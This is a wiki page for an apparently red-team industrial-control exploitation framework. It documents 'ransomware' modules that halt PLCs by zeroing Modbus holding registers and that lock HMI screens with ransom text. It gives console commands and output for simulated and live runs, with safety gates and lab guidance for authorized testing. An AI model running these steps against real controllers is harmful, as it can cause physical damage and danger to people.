Skip to content

Ransomware Simulation

Jump to bottom
André Henrique edited this page Jun 8, 2026 · 1 revision

Ransomware Simulation

LEGAL WARNING: Ransomware and wiper modules are for authorized security testing, research, and educational use only. Live execution against systems without explicit written authorization is a federal crime. The authors and Uniao Geek assume no liability for misuse.

The Triple Gate System

OT ransomware modules implement a triple gate - three independent safety checks that must all be bypassed in sequence before any live payload executes.

Why triple gate?

OT/ICS ransomware has a unique risk profile compared to IT ransomware:

  1. Physical consequences - halting a PLC can cause equipment damage, process runaway, or safety system failure
  2. No easy recovery - restoring PLC logic may require vendor engineers on-site
  3. Cascading effects - one compromised device can affect the entire production line
  4. Legal severity - unauthorized execution may constitute critical infrastructure sabotage

The triple gate is designed to make accidental or impulsive live execution impossible while still enabling legitimate red team testing in authorized environments.

How the triple gate works

Gate 1: simulate = False
         "I understand this sends real packets"

Gate 2: destructive = True
         "I understand this may cause irreversible damage"

Gate 3: explicit_confirm = "I_UNDERSTAND_THIS_IS_DESTRUCTIVE"
         "I am typing a confirmation string I cannot mistype by accident"

         + Optional wait timer for CATASTROPHIC modules (10 seconds)

All three gates must be set before run is called. Missing any one gate immediately aborts with an error.

Default state: all modules ship with simulate=True, destructive=False.

PLC Project Locker

Simulates a ransomware that zeros all PLC holding registers, halting program execution.

Technique: Modbus FC16 write to address 0, zeroing all 125 registers per transaction.

Reference: CISA Advisory AA26-097A, TRITON/TRISIS malware TTPs.

Simulate mode (safe - default)

ixf > use exploits/ransomware/plc_project_locker
ixf (PLCProjectLocker) > set TARGET 192.168.1.10
ixf (PLCProjectLocker) > set PORT 502
ixf (PLCProjectLocker) > set UNIT_ID 1
ixf (PLCProjectLocker) > run

[SIMULATE] PLC Project Locker
[SIMULATE] Target: 192.168.1.10:502 unit_id=1
[SIMULATE] Would write zeros to holding registers: FC16 @ addr 0 len 125
[SIMULATE] 2 FC16 requests required (123 + 2 registers)
[SIMULATE] Effect: PLC halts ladder logic execution
[SIMULATE] CISA AA26-097A TTP: "Stop PLC" via register wipe

[!] To execute live, set all three gates:
[!]   set simulate false
[!]   set destructive true
[!]   set explicit_confirm I_UNDERSTAND_THIS_IS_DESTRUCTIVE

Live execution flow (authorized lab only)

ixf (PLCProjectLocker) > set simulate false
ixf (PLCProjectLocker) > set destructive true
ixf (PLCProjectLocker) > run

[!] ============================================================
[!]  DESTRUCTIVE OPERATION WARNING
[!]  Module: PLC Project Locker
[!]  Impact: CATASTROPHIC
[!]  Target: 192.168.1.10:502
[!]  Action: Zero all holding registers via FC16
[!]  Effect: PLC halts program execution immediately
[!] ============================================================
[!]  You MUST have explicit written authorization.
[!]  Type the exact confirmation string to continue:
[!]  > I_UNDERSTAND_THIS_IS_DESTRUCTIVE
[?] Confirm: I_UNDERSTAND_THIS_IS_DESTRUCTIVE
[*] Confirmation accepted. Executing in 10 seconds... Ctrl+C to abort.
[10] [9] [8] [7] [6] [5] [4] [3] [2] [1]
[*] Connecting to 192.168.1.10:502...
[+] FC16 @ addr=0 len=125: OK
[+] FC16 @ addr=123 len=2: OK
[+] PLC registers zeroed. Program execution halted.
[*] Operation logged to .log/destructive_ops_2026-06-08.log

HMI Display Ransomware

Simulates a ransomware message written to HMI display registers, locking the operator interface.

Technique: Modbus FC16 write to HMI display registers, encoding ASCII ransom text.

Reference: TRITON/TRISIS HMI manipulation TTP.

Simulate mode

ixf > use exploits/ransomware/hmi_display_ransomware
ixf (HMIDisplayRansomware) > set TARGET 192.168.1.20
ixf (HMIDisplayRansomware) > set PORT 502
ixf (HMIDisplayRansomware) > set DISPLAY_REGISTER 1000
ixf (HMIDisplayRansomware) > run

[SIMULATE] HMI Display Ransomware
[SIMULATE] Target: 192.168.1.20:502
[SIMULATE] Display register: 1000
[SIMULATE] Would write 20 registers (40 chars) at register 1000
[SIMULATE] Encoded message: "YOUR SYSTEM IS LOCKED..."
[SIMULATE] HMI would show ransomware message replacing process display
[SIMULATE] Based on TRITON/TRISIS HMI manipulation TTP

[!] Triple gate required for live execution

Module Summary

Module Path Impact Gate
plc_project_locker exploits/ransomware/ CATASTROPHIC Triple gate + 10s timer
hmi_display_ransomware exploits/ransomware/ CATASTROPHIC Triple gate + 10s timer

Using Ransomware Modules Safely in a Lab

Recommended lab setup

  1. Use an isolated network (no connectivity to production)
  2. Deploy Lab-Setup as a safe target - it simulates a PLC without physical consequences
  3. Enable network capture: tcpdump -w lab_session.pcap -i eth0
  4. Run in simulate mode first - verify the expected output matches your scenario
  5. Confirm authorization documentation is in place before live execution

Conpot as a safe target

# Start Conpot via IXF lab setup
ixf > use assessment/lab_environment_setup
ixf (ICSLab) > set INCLUDE_CONPOT true
ixf (ICSLab) > set OUTPUT_DIR /tmp/ics_lab
ixf (ICSLab) > run

# Conpot listens on 172.20.0.10:502 - safe target for live ransomware module testing

What gets logged

All live destructive operations are appended to .log/destructive_ops_YYYY-MM-DD.log:

[2026-06-08 14:32:10] MODULE=plc_project_locker TARGET=172.20.0.10:502 IMPACT=CATASTROPHIC
[2026-06-08 14:32:10] USER_CONFIRM=I_UNDERSTAND_THIS_IS_DESTRUCTIVE
[2026-06-08 14:32:21] RESULT=OK registers_zeroed=125

Author: Andre Henrique (@mrhenrike) | Uniao Geek | https://uniaogeek.com.br/

Clone this wiki locally